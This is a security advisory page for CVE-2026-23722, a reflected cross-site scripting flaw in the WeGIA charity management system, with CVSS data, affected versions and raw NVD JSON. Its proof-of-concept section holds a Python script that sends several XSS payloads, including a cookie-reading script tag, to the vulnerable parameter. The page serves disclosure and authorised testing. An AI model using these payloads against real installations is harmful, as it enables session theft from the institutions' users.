Security Vulnerability Report
中文
CVE-2026-23722 CVSS 9.1 CRITICAL

CVE-2026-23722

Published: 2026-01-16 20:15:50
Last Modified: 2026-01-30 18:27:52

Description

WeGIA is a Web Manager for Charitable Institutions. Prior to 3.6.2, a Reflected Cross-Site Scripting (XSS) vulnerability was discovered in the WeGIA system, specifically within the html/memorando/insere_despacho.php file. The application fails to properly sanitize or encode user-supplied input via the id_memorando GET parameter before reflecting it into the HTML source (likely inside a <script> block or an attribute). This allows unauthenticated attackers to inject arbitrary JavaScript or HTML into the context of the user's browser session. This vulnerability is fixed in 3.6.2.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:* - VULNERABLE
WeGIA < 3.6.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-23722 PoC - Reflected XSS in WeGIA # Target URL with vulnerable parameter target_url = "http://target-server/html/memorando/insere_despacho.php" # Malicious payload for XSS xss_payload = '<script>alert(document.cookie)</script>' # Construct exploit URL params = { 'id_memorando': xss_payload } # Send request response = requests.get(target_url, params=params) # Check if payload is reflected without encoding if xss_payload in response.text: print('[+] XSS Payload reflected - Vulnerability confirmed!') print(f'[+] Vulnerable URL: {response.url}') else: print('[-] Payload not reflected or filtered') # Additional payloads for testing test_payloads = [ "<img src=x onerror=alert(1)>", "<svg/onload=alert(document.domain)>", "javascript:alert(document.cookie)" ] for payload in test_payloads: test_params = {'id_memorando': payload} resp = requests.get(target_url, params=test_params) if payload in resp.text: print(f'[+] Payload works: {payload}')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23722", "sourceIdentifier": "[email protected]", "published": "2026-01-16T20:15:50.017", "lastModified": "2026-01-30T18:27:52.323", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is a Web Manager for Charitable Institutions. Prior to 3.6.2, a Reflected Cross-Site Scripting (XSS) vulnerability was discovered in the WeGIA system, specifically within the html/memorando/insere_despacho.php file. The application fails to properly sanitize or encode user-supplied input via the id_memorando GET parameter before reflecting it into the HTML source (likely inside a <script> block or an attribute). This allows unauthenticated attackers to inject arbitrary JavaScript or HTML into the context of the user's browser session. This vulnerability is fixed in 3.6.2."}, {"lang": "es", "value": "WeGIA es un Gestor Web para Instituciones Benéficas. Antes de 3.6.2, se descubrió una vulnerabilidad de cross-site scripting (XSS) reflejado en el sistema WeGIA, específicamente dentro del archivo html/memorando/insere_despacho.PHP. La aplicación no logra sanear o codificar correctamente la entrada proporcionada por el usuario a través del parámetro GET id_memorando antes de reflejarla en el código fuente HTML (probablemente dentro de un bloque "}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.2", "matchCriteriaId": "419B3A85-5754-4198-A73E-92A9DA8E7A68"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-g7hh-6qj7-mcqf", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}